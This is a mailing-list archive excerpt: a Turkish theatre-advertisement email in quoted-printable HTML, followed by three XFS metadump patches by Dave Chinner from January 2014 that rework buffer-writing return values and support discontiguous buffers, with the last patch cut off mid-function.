to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars This is a multi-part message in MIME format. ------=SPLITOR00A_001_37594368D Content-Type: text/plain; charset="iso-8859-9" Content-Transfer-Encoding: quoted-printable A=DEK'A 103 ADIM Tiyatrokare izleyicilerinin "M=FCziksiz Evin Konuklar=FD " ile=20 tan=FDd=FD=F0=FD ve Amerikan tiyatrosunun en =F6nemli oyun yazarlar=FDndan Neil Simon'=FDn yazd=FD=F0=FD=20 "Parkta =C7=FDplak Ayak" ad=FDyla Broadway'de b=FCy=FCk ba=FEar=FD = sa=F0lad=FDktan sonra Jane Fonda/ Robert Redford ikilisinin oynad=FD=F0=FD bir=20 Hollywood klasi=F0i haline gelmi=FEti. Oyunun yeni versiyonundaki = roller,=20 televizyon ve tiyatro d=FCnyas=FDn=FDn sevilen y=FCzleri =D6zge=20 =D6zberk, B=FClent Seyran, Umran Ertok, Koray Kurt ve Suna Keskin payla=FE=FDyor. Bu aile komedisini=20 sahneye koyan ve uyarlayan isim ise=20 Nedim Saban=2E =20 =09 =09 TAYYARE K=DCLT=DCR MERK.=20 =09 1 =DEUBAT CUMARTES=DD=20 =09 SAAT:20:30=20 =09 =20 LEYLANIN EV=DD=20 Z=FClf=FC Livaneli'nin b=FCy=FCk ses getiren ve Nedim Saban taraf=FDndan = sahneye b=FCy=FCk=20 ba=FEar=FDyla ta=FE=FDnan roman=FD &quot;Leyla'n=FDn Evi&quot; Oyunda Roxy rol=FCndeki ba=FEar=FDs=FDyla ad=FDndan s=F6zettiren, sesi ve = fizi=F0iyle=20 kitleleri b=FCy=FCleyen ve VasfiR=FDza=20 Zobu =D6d=FCl=FC'nden sonra ,2011=20 Afife Jale =D6d=FClleri M=FCzikal=20 Dal=FDnda ve=20 sadri al=FD=FE=FDk =F6d=FCl=FC , Y=FDl=FDn en=20 ba=FEar=FDl=FD kad=FDn Oyuncusu se=E7ilen Ay=E7a=20 Varl=FDer'in ard=FDndan=20 , Celile=20 Toyon, oyundaki=20 Leyla ve .=C7=FDnar=20 A=F0ac=FD filmindeki=20 rol=FCyle K=FC=E7=FCk=E7ekmece Belediyesi taraf=FDndan y=FDl=FDn =F6rnek = annesi ve kad=FDn oyuncusu=20 se=E7ildi=2E Oyun=20 g=F6r=FCnt=FClerini a=FEa=F0=FDdaki link'lerden izleyebilirsiniz http://www.youtube.com/watch?v=3DuYJI-e6kCVE http://www.youtube.com/watch?v=3D5e1Yfd8KgnE http://www.youtube.com/watch?v=3Dp3xDHL-IjKo&amp;feature=3Dyoutu.be =09 =09 TAYYARE K=DCLT=DCR MERK.=20 =09 16 =DEUBAT PAZAR =20 =09 SAAT : 20:00=20 =09 B=DDLETLER B=DDLET=DDX VE T=DDYATRO G=DD=DEES=DDNDEN SATILMAKTADIR=2E G=DD=DEE =DDLET=DD=DE=DDM: 224.220 88 48 ------=SPLITOR00A_001_37594368D Content-Type: text/html; charset="iso-8859-9" Content-Transfer-Encoding: quoted-printable <head> <style> <!-- span.apple-converted-space {} table.MsoNormalTable {mso-style-parent:""; line-height:115%; font-size:11.0pt; font-family:"Calibri","sans-serif"; } span.MsoHyperlink {color:blue; text-decoration:underline; text-underline:single} --> </style> </head> <a href=3D"http://imgur.com/Y6MkOdI"><img = src=3D"http://i.imgur.com/Y6MkOdI.jpg?1" title=3D"Hosted by imgur.com" /></a> <a href=3D"http://imgur.com/2WvDeVG"> <img src=3D"http://i.imgur.com/2WvDeVG.jpg?1" title=3D"Hosted by = imgur.com" width=3D"392" height=3D"548"/></a><p class=3D"MsoNormal" = style=3D"line-height: normal"> <span lang=3D"EN-US" style=3D"font-size: 12.0pt; font-family: 'Times New = Roman',serif; color: red"> A=DEK'A 103 ADIM</span></p> <p class=3D"ecxmsonormal" style=3D"text-align: justify; line-height: = 15.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; = margin-bottom: .0001pt; background: white"> <span lang=3D"EN-US">&nbsp;Tiyatrokare izleyicilerinin "M=FCziksiz Evin = Konuklar=FD " ile=20 tan=FDd=FD=F0=FD ve Amerikan tiyatrosunun en =F6nemli oyun yazarlar=FDndan <span style=3D"color:red">Neil Simon</span>'=FDn yazd=FD=F0=FD <span = style=3D"color:red"> "Parkta =C7=FDplak Ayak" </span>ad=FDyla Broadway'de b=FCy=FCk ba=FEar=FD = sa=F0lad=FDktan</span><span class=3D"apple-converted-space"><span = lang=3D"EN-US">&nbsp;</span></span><span lang=3D"EN-US">sonra <span style=3D"color:red">Jane Fonda/ Robert Redford </span>ikilisinin = oynad=FD=F0=FD</span><span class=3D"apple-converted-space"><span = lang=3D"EN-US">&nbsp;</span></span><span lang=3D"EN-US">&nbsp;bir=20 Hollywood klasi=F0i haline gelmi=FEti.&nbsp; Oyunun yeni versiyonundaki = roller,=20 televizyon ve tiyatro d=FCnyas=FDn=FDn sevilen y=FCzleri</span><span = class=3D"apple-converted-space"><span = lang=3D"EN-US">&nbsp;</span></span><span lang=3D"EN-US" style=3D"color: = red">=D6zge=20 =D6zberk, B=FClent Seyran, Umran Ertok, Koray Kurt</span><span = class=3D"apple-converted-space"><span lang=3D"EN-US" style=3D"color: = red">&nbsp;</span></span><span lang=3D"EN-US" style=3D"color: = red">&nbsp;</span><span lang=3D"EN-US">ve <span style=3D"color:red">Suna Keskin </span>payla=FE=FDyor. Bu aile = komedisini=20 sahneye koyan ve uyarlayan isim<span style=3D"color:red"> </span>ise<span = style=3D"color:red">=20 Nedim Saban.</span></span></p> <p class=3D"MsoNormal"> <span style=3D"font-size:12.0pt;line-height:115%;font-family: &quot;Times New Roman&quot;,&quot;serif&quot;">&nbsp;</span></p> <table class=3D"MsoNormalTable" border=3D"0" cellspacing=3D"0" = cellpadding=3D"0" width=3D"595" style=3D"width: 446.0pt; border-collapse: = collapse; margin-left: 2.75pt"> <tr style=3D"height: 18.75pt"> <td width=3D"251" nowrap valign=3D"bottom" = style=3D"width:188.0pt;padding:0cm 3.5pt 0cm 3.5pt; height:18.75pt"> <p class=3D"MsoNormal" = style=3D"margin-bottom:0cm;margin-bottom:.0001pt;line-height: normal"><b><span style=3D"font-size: 16.0pt; color: black">&nbsp;TAYYARE = K=DCLT=DCR MERK.</span></b></td> <td width=3D"209" nowrap valign=3D"bottom" = style=3D"width:157.0pt;padding:0cm 3.5pt 0cm 3.5pt; height:18.75pt"> <p class=3D"MsoNormal" = style=3D"margin-bottom:0cm;margin-bottom:.0001pt;line-height: normal"><b><span style=3D"font-size: 16.0pt; color: black">1 =DEUBAT = CUMARTES=DD</span></b></td> <td width=3D"135" nowrap valign=3D"bottom" = style=3D"width:101.0pt;padding:0cm 3.5pt 0cm 3.5pt; height:18.75pt"> <p class=3D"MsoNormal" = style=3D"margin-bottom:0cm;margin-bottom:.0001pt;line-height: normal"><b><span style=3D"font-size: 16.0pt; color: = black">SAAT:20:30</span></b></td> </tr> </table> <p class=3D"MsoNormal">&nbsp;</p> <p class=3D"MsoNormal" = style=3D"margin-bottom:0cm;margin-bottom:.0001pt;line-height: normal"> <span style=3D"font-size: 12.0pt; font-family: 'Times New Roman',serif; = color: red"> LEYLANIN &nbsp;EV=DD </span></p> <p class=3D"MsoNormal" style=3D"line-height: 12.75pt; margin-bottom: = =2E0001pt"> <span style=3D"font-size: 12.0pt; font-family: 'Times New Roman',serif; = color: #2A2A2A"> Z=FClf=FC Livaneli'nin&nbsp; b=FCy=FCk ses getiren ve&nbsp; Nedim Saban = taraf=FDndan sahneye b=FCy=FCk=20 &nbsp;ba=FEar=FDyla ta=FE=FDnan roman=FD &quot;Leyla'n=FDn = Evi&quot;</span></p> <p class=3D"MsoNormal" style=3D"line-height: 12.75pt; margin-bottom: = =2E0001pt"> <span style=3D"font-size: 12.0pt; font-family: 'Times New Roman',serif; = color: #2A2A2A"> Oyunda Roxy rol=FCndeki ba=FEar=FDs=FDyla ad=FDndan s=F6zettiren, = &nbsp;sesi ve fizi=F0iyle=20 kitleleri b=FCy=FCleyen ve&nbsp;</span><span style=3D"font-size: 12.0pt; = font-family: 'Times New Roman',serif; color: red">VasfiR=FDza=20 Zobu&nbsp;=D6d=FCl=FC'</span><span style=3D"font-size: 12.0pt; = font-family: 'Times New Roman',serif; color: black">nden</span><span = style=3D"font-size: 12.0pt; font-family: 'Times New Roman',serif; color: = #2A2A2A">&nbsp;sonra&nbsp;,</span><span style=3D"font-size: 12.0pt; = font-family: 'Times New Roman',serif; color: red">2011=20 Afife Jale =D6d=FClleri</span><span style=3D"font-size: 12.0pt; = font-family: 'Times New Roman',serif; color: #2A2A2A">&nbsp;M=FCzikal=20 Dal=FDnda&nbsp;</span><span style=3D"font-size: 12.0pt; font-family: = 'Times New Roman',serif; color: red">ve=20 sadri al=FD=FE=FDk =F6d=FCl=FC ,</span><span style=3D"font-size: 12.0pt; = font-family: 'Times New Roman',serif; color: = black">&nbsp;Y=FDl=FDn</span><span style=3D"font-size: 12.0pt; = font-family: 'Times New Roman',serif; color: #2A2A2A">&nbsp;en=20 ba=FEar=FDl=FD kad=FDn &nbsp;Oyuncusu se=E7ilen&nbsp;&nbsp;</span><span = style=3D"font-size: 12.0pt; font-family: 'Times New Roman',serif; color: = red">Ay=E7a=20 Varl=FDer</span><span style=3D"font-size: 12.0pt; font-family: 'Times New = Roman',serif; color: black">'in</span><span style=3D"font-size: 12.0pt; = font-family: 'Times New Roman',serif; color: #2A2A2A">&nbsp;ard=FDndan=20 ,</span><span style=3D"font-size: 12.0pt; font-family: 'Times New = Roman',serif; color: red">&nbsp;Celile=20 Toyon,</span><span style=3D"font-size: 12.0pt; font-family: 'Times New = Roman',serif; color: #2A2A2A">&nbsp;oyundaki=20 Leyla ve&nbsp;</span><span style=3D"font-size: 12.0pt; font-family: 'Times = New Roman',serif; color: red">.=C7=FDnar=20 A=F0ac=FD</span><span style=3D"font-size: 12.0pt; font-family: 'Times New = Roman',serif; color: #C00000">&nbsp;</span><span style=3D"font-size: = 12.0pt; font-family: 'Times New Roman',serif; color: = #2A2A2A">&nbsp;filmindeki=20 rol=FCyle K=FC=E7=FCk=E7ekmece Belediyesi taraf=FDndan y=FDl=FDn =F6rnek = annesi ve kad=FDn oyuncusu=20 se=E7ildi.</span></p> <p class=3D"MsoNormal" style=3D"line-height: normal"> <span style=3D"font-size: 12.0pt; font-family: 'Times New = Roman',serif">Oyun=20 g=F6r=FCnt=FClerini a=FEa=F0=FDdaki link'lerden izleyebilirsiniz</span></p> <p class=3D"MsoNormal" style=3D"line-height: normal"> <a style=3D"color: blue; text-decoration: underline; text-underline: = single" href=3D"http://www.youtube.com/watch?v=3DuYJI-e6kCVE"> <span style=3D"font-size: 12.0pt; font-family: 'Times New Roman',serif"> http://www.youtube.com/watch?v=3DuYJI-e6kCVE</span></a><span = class=3D"MsoHyperlink"></span></p> <p class=3D"MsoNormal" style=3D"line-height: normal"> <a style=3D"color: blue; text-decoration: underline; text-underline: = single" href=3D"http://www.youtube.com/watch?v=3D5e1Yfd8KgnE"> <span style=3D"font-size:12.0pt;font-family:&quot;Times New = Roman&quot;,&quot;serif&quot;"> http://www.youtube.com/watch?v=3D5e1Yfd8KgnE</span></a><span = class=3D"MsoHyperlink"></span></p> <p class=3D"MsoNormal" style=3D"line-height: normal"> <a style=3D"color: blue; text-decoration: underline; text-underline: = single" = href=3D"http://www.youtube.com/watch?v=3Dp3xDHL-IjKo&feature=3Dyoutu.be"> <span style=3D"font-size:12.0pt;font-family:&quot;Times New = Roman&quot;,&quot;serif&quot;"> http://www.youtube.com/watch?v=3Dp3xDHL-IjKo&amp;feature=3Dyoutu.be</span><= /a></p> <table class=3D"MsoNormalTable" border=3D"0" cellspacing=3D"0" = cellpadding=3D"0" width=3D"637" style=3D"width: 478.0pt; border-collapse: = collapse; margin-left: 2.75pt"> <tr style=3D"height: 18.75pt"> <td width=3D"249" nowrap valign=3D"bottom" = style=3D"width:187.0pt;padding:0cm 3.5pt 0cm 3.5pt; height:18.75pt"> <p class=3D"MsoNormal" = style=3D"margin-bottom:0cm;margin-bottom:.0001pt;line-height: normal"><b><span style=3D"font-size: 16.0pt">&nbsp;TAYYARE K=DCLT=DCR = MERK.</span></b></td> <td width=3D"213" nowrap valign=3D"bottom" = style=3D"width:160.0pt;padding:0cm 3.5pt 0cm 3.5pt; height:18.75pt"> <p class=3D"MsoNormal" = style=3D"margin-bottom:0cm;margin-bottom:.0001pt;line-height: normal"><b><span style=3D"font-size: 16.0pt">16 =DEUBAT PAZAR = </span></b></td> <td width=3D"175" nowrap valign=3D"bottom" = style=3D"width:131.0pt;padding:0cm 3.5pt 0cm 3.5pt; height:18.75pt"> <p class=3D"MsoNormal" = style=3D"margin-bottom:0cm;margin-bottom:.0001pt;line-height: normal"><b><span style=3D"font-size: 16.0pt">SAAT : 20:00</span></b></td> </tr> </table> <p class=3D"MsoNormal" style=3D"line-height: normal"> <span style=3D"font-size: 16.0pt; font-family: 'Times New Roman',serif; = color: red"> B=DDLETLER B=DDLET=DDX VE T=DDYATRO G=DD=DEES=DDNDEN = SATILMAKTADIR.</span></p> <p class=3D"MsoNormal" style=3D"line-height: normal"> <span style=3D"font-size: 16.0pt; font-family: 'Times New Roman',serif; = color: red"> G=DD=DEE =DDLET=DD=DE=DDM: 224.220 88 48</span></p> <p>&nbsp;</p> ------=SPLITOR00A_001_37594368D-- From dave@fromorbit.com Thu Jan 23 04:24:09 2014 Return-Path: <dave@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7F20B7F5D for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 04:24:09 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id EFA40AC002 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 02:24:08 -0800 (PST) X-ASG-Debug-ID: 1390472644-04cb6c750aafa30002-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id DW1PHfVjmaV5x806 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 02:24:06 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAKXs4FJ5LKVw/2dsb2JhbABbgwy+Dhd0giUBAQUnLzMIGDE5AxsZiATFOBeTPwSicYdKg0Eo Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail04.adl6.internode.on.net with ESMTP; 23 Jan 2014 20:54:03 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from <dave@fromorbit.com>) id 1W6HS4-0004fC-8s for xfs@oss.sgi.com; Thu, 23 Jan 2014 21:24:00 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from <dave@disappointment.disaster>) id 1W6HS4-0004VL-7v for xfs@oss.sgi.com; Thu, 23 Jan 2014 21:24:00 +1100 From: Dave Chinner <david@fromorbit.com> To: xfs@oss.sgi.com Subject: [PATCH 1/5] metadump: sanitise write_buf/index return values Date: Thu, 23 Jan 2014 21:23:51 +1100 X-ASG-Orig-Subj: [PATCH 1/5] metadump: sanitise write_buf/index return values Message-Id: <1390472635-17225-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1390472635-17225-1-git-send-email-david@fromorbit.com> References: <1390472635-17225-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1390472646 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144391 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner <dchinner@redhat.com> Write_buf/write_index use confusing boolean values for return, meaning that it's hard to tell what the correct error return is supposed to be. Convert them to return zero on success or a negative errno otherwise so that it's clear what the error case is. Signed-off-by: Dave Chinner <dchinner@redhat.com> --- db/metadump.c | 34 +++++++++++++++++++--------------- 1 file changed, 19 insertions(+), 15 deletions(-) diff --git a/db/metadump.c b/db/metadump.c index 117dc42..4104fcb 100644 --- a/db/metadump.c +++ b/db/metadump.c @@ -145,6 +145,8 @@ print_progress(const char *fmt, ...) * even if the dump is exactly aligned, the last index will be full of * zeros. If the last index entry is non-zero, the dump is incomplete. * Correspondingly, the last chunk will have a count < num_indicies. + * + * Return 0 for success, -1 for failure. */ static int @@ -156,12 +158,12 @@ write_index(void) metablock->mb_count = cpu_to_be16(cur_index); if (fwrite(metablock, (cur_index + 1) << BBSHIFT, 1, outf) != 1) { print_warning("error writing to file: %s", strerror(errno)); - return 0; + return -errno; } memset(block_index, 0, num_indicies * sizeof(__be64)); cur_index = 0; - return 1; + return 0; } static int @@ -171,6 +173,7 @@ write_buf( char *data; __int64_t off; int i; + int ret; /* * Run the write verifier to recalculate the buffer CRCs and check @@ -184,7 +187,7 @@ write_buf( _("%s: write verifer failed on bno 0x%llx/0x%x\n"), __func__, (long long)buf->bp->b_bn, buf->bp->b_bcount); - return buf->bp->b_error; + return -buf->bp->b_error; } } @@ -194,11 +197,12 @@ write_buf( block_index[cur_index] = cpu_to_be64(off); memcpy(&block_buffer[cur_index << BBSHIFT], data, BBSIZE); if (++cur_index == num_indicies) { - if (!write_index()) - return 0; + ret = write_index(); + if (ret) + return ret; } } - return !seenint(); + return seenint() ? -EINTR : 0; } @@ -227,7 +231,7 @@ scan_btree( rval = !stop_on_read_error; goto pop_out; } - if (!write_buf(iocur_top)) + if (write_buf(iocur_top)) goto pop_out; if (!(*func)(iocur_top->data, agno, agbno, level - 1, btype, arg)) @@ -1439,7 +1443,7 @@ process_bmbt_reclist( default: ; } - if (!write_buf(iocur_top)) { + if (write_buf(iocur_top)) { pop_cur(); return 0; } @@ -1748,7 +1752,7 @@ copy_inode_chunk( xfs_dinode_calc_crc(mp, dip); } skip_processing: - if (!write_buf(iocur_top)) + if (write_buf(iocur_top)) goto pop_out; inodes_copied += XFS_INODES_PER_CHUNK; @@ -1866,7 +1870,7 @@ scan_ag( if (stop_on_read_error) goto pop_out; } else { - if (!write_buf(iocur_top)) + if (write_buf(iocur_top)) goto pop_out; } @@ -1881,7 +1885,7 @@ scan_ag( if (stop_on_read_error) goto pop_out; } else { - if (!write_buf(iocur_top)) + if (write_buf(iocur_top)) goto pop_out; } @@ -1896,7 +1900,7 @@ scan_ag( if (stop_on_read_error) goto pop_out; } else { - if (!write_buf(iocur_top)) + if (write_buf(iocur_top)) goto pop_out; } @@ -1910,7 +1914,7 @@ scan_ag( if (stop_on_read_error) goto pop_out; } else { - if (!write_buf(iocur_top)) + if (write_buf(iocur_top)) goto pop_out; } @@ -2015,7 +2019,7 @@ copy_log(void) print_warning("cannot read log"); return !stop_on_read_error; } - return write_buf(iocur_top); + return !write_buf(iocur_top); } static int @@ -2121,7 +2125,7 @@ metadump_f( /* write the remaining index */ if (!exitcode) - exitcode = !write_index(); + exitcode = write_index() < 0; if (progress_since_warning) fputc('\n', (outf == stdout) ? stderr : stdout); -- 1.8.4.rc3 From dave@fromorbit.com Thu Jan 23 04:24:10 2014 Return-Path: <dave@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6B2FC7F5D for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 04:24:10 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5E37D304064 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 02:24:07 -0800 (PST) X-ASG-Debug-ID: 1390472644-04cb6c750aafa30001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 9XDvxNLbPEbc32Op for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 02:24:05 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAKXs4FJ5LKVw/2dsb2JhbABbgwy+Dhd0giUBAQUnLzMIGDE5AxsZiATFOBePHYQiBKo7g0Eo Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail04.adl6.internode.on.net with ESMTP; 23 Jan 2014 20:54:03 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from <dave@fromorbit.com>) id 1W6HS4-0004fD-9Q for xfs@oss.sgi.com; Thu, 23 Jan 2014 21:24:00 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from <dave@disappointment.disaster>) id 1W6HS4-0004VQ-8W for xfs@oss.sgi.com; Thu, 23 Jan 2014 21:24:00 +1100 From: Dave Chinner <david@fromorbit.com> To: xfs@oss.sgi.com Subject: [PATCH 2/5] metadump: support writing discontiguous io cursors Date: Thu, 23 Jan 2014 21:23:52 +1100 X-ASG-Orig-Subj: [PATCH 2/5] metadump: support writing discontiguous io cursors Message-Id: <1390472635-17225-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1390472635-17225-1-git-send-email-david@fromorbit.com> References: <1390472635-17225-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1390472644 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144391 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner <dchinner@redhat.com> To handle discontiguous buffers, metadump needs to be able to handle io cursrors that use discontiguous buffer mappings. Factor write_buf() to extract the data copy routine and use that to implement support for both flat and discontiguous buffer maps. Signed-off-by: Dave Chinner <dchinner@redhat.com> --- db/metadump.c | 45 ++++++++++++++++++++++++++++++++++++--------- 1 file changed, 36 insertions(+), 9 deletions(-) diff --git a/db/metadump.c b/db/metadump.c index 4104fcb..a8bc297 100644 --- a/db/metadump.c +++ b/db/metadump.c @@ -166,12 +166,34 @@ write_index(void) return 0; } +/* + * Return 0 for success, -errno for failure. + */ +static int +write_buf_segment( + char *data, + __int64_t off, + int len) +{ + int i; + int ret; + + for (i = 0; i < len; i++, off++, data += BBSIZE) { + block_index[cur_index] = cpu_to_be64(off); + memcpy(&block_buffer[cur_index << BBSHIFT], data, BBSIZE); + if (++cur_index == num_indicies) { + ret = write_index(); + if (ret) + return -EIO; + } + } + return 0; +} + static int write_buf( iocur_t *buf) { - char *data; - __int64_t off; int i; int ret; @@ -191,15 +213,20 @@ write_buf( } } - for (i = 0, off = buf->bb, data = buf->data; - i < buf->blen; - i++, off++, data += BBSIZE) { - block_index[cur_index] = cpu_to_be64(off); - memcpy(&block_buffer[cur_index << BBSHIFT], data, BBSIZE); - if (++cur_index == num_indicies) { - ret = write_index(); + /* handle discontiguous buffers */ + if (!buf->bbmap) { + ret = write_buf_segment(buf->data, buf->bb, buf->blen); + if (ret) + return ret; + } else { + int len = 0; + for (i = 0; i < buf->bbmap->nmaps; i++) { + ret = write_buf_segment(buf->data + BBTOB(len), + buf->bbmap->b[i].bm_bn, + buf->bbmap->b[i].bm_len); if (ret) return ret; + len += buf->bbmap->b[i].bm_len; } } return seenint() ? -EINTR : 0; -- 1.8.4.rc3 From dave@fromorbit.com Thu Jan 23 04:24:11 2014 Return-Path: <dave@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 25DE67F5D for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 04:24:11 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 96459AC002 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 02:24:10 -0800 (PST) X-ASG-Debug-ID: 1390472644-04cb6c750aafa30003-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id HnCkw4BikiHOlrYX for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 02:24:08 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAKXs4FJ5LKVw/2dsb2JhbABbgwy+Dhd0giUBAQUnLzMIGDE5AxsZiATFOBeTPwSqO4NBKA Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail04.adl6.internode.on.net with ESMTP; 23 Jan 2014 20:54:03 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from <dave@fromorbit.com>) id 1W6HS4-0004fE-A0 for xfs@oss.sgi.com; Thu, 23 Jan 2014 21:24:00 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from <dave@disappointment.disaster>) id 1W6HS4-0004VV-94 for xfs@oss.sgi.com; Thu, 23 Jan 2014 21:24:00 +1100 From: Dave Chinner <david@fromorbit.com> To: xfs@oss.sgi.com Subject: [PATCH 3/5] metadump: separate single block objects from multiblock objects Date: Thu, 23 Jan 2014 21:23:53 +1100 X-ASG-Orig-Subj: [PATCH 3/5] metadump: separate single block objects from multiblock objects Message-Id: <1390472635-17225-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1390472635-17225-1-git-send-email-david@fromorbit.com> References: <1390472635-17225-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1390472648 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144391 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner <dchinner@redhat.com> When trying to dump objects, we have to treat multi-block objects differently to single block objects. Separate out the code paths for single block vs multi-block objects so we can add a separate path for multi-block objects. Signed-off-by: Dave Chinner <dchinner@redhat.com> --- db/metadump.c | 119 ++++++++++++++++++++++++++++++++++++++++------------------ 1 file changed, 82 insertions(+), 37 deletions(-) diff --git a/db/metadump.c b/db/metadump.c index a8bc297..9fc08ed 100644 --- a/db/metadump.c +++ b/db/metadump.c @@ -1361,9 +1361,79 @@ obfuscate_attr_blocks( } } -/* inode copy routines */ +static int +process_single_fsb_objects( + xfs_dfiloff_t o, + xfs_dfsbno_t s, + xfs_dfilblks_t c, + typnm_t btype, + xfs_dfiloff_t last) +{ + int ret = 0; + + push_cur(); + set_cur(&typtab[btype], XFS_FSB_TO_DADDR(mp, s), c * blkbb, + DB_RING_IGN, NULL); + + if (!iocur_top->data) { + xfs_agnumber_t agno = XFS_FSB_TO_AGNO(mp, s); + xfs_agblock_t agbno = XFS_FSB_TO_AGBNO(mp, s); + + print_warning("cannot read %s block %u/%u (%llu)", + typtab[btype].name, agno, agbno, s); + if (stop_on_read_error) + ret = -EIO; + goto out_pop; + + } + + if (dont_obfuscate) { + ret = write_buf(iocur_top); + goto out_pop; + } + + switch (btype) { + case TYP_DIR2: + if (o >= mp->m_dirleafblk) + break; + + obfuscate_dir_data_blocks(iocur_top->data, o, c, + last == mp->m_dirblkfsbs); + break; + case TYP_SYMLINK: + obfuscate_symlink_blocks(iocur_top->data, c); + break; + case TYP_ATTR: + obfuscate_attr_blocks(iocur_top->data, o, c); + break; + 